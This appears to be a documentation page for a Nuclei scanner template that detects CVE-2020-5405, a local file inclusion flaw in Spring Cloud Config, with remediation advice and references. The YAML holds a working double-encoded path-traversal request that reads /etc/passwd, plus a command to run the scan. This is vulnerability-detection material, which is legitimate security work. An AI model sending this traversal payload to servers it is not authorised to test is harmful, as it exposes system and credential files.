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Spring Cloud Config - Local File Inclusion

ID: CVE-2020-5405

Severity: medium

Author: harshbothra_

Tags: cve2020,cve,lfi,springcloud,vmware

Description

Section titled “Description”

Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module.

YAML Source

Section titled “YAML Source”
id: CVE-2020-5405


info:
  name: Spring Cloud Config - Local File Inclusion
  author: harshbothra_
  severity: medium
  description: Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Upgrade to a patched version of Spring Cloud Config or apply the recommended security patches to mitigate the vulnerability.
  reference:
    - https://pivotal.io/security/cve-2020-5405
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5405
    - https://github.com/Secxt/FINAL
    - https://github.com/pen4uin/vulnerability-research-list
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-5405
    cwe-id: CWE-22,CWE-23
    epss-score: 0.00258
    epss-percentile: 0.64891
    cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: spring_cloud_config
  tags: cve2020,cve,lfi,springcloud,vmware


http:
  - method: GET
    path:
      - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-5405.yaml"

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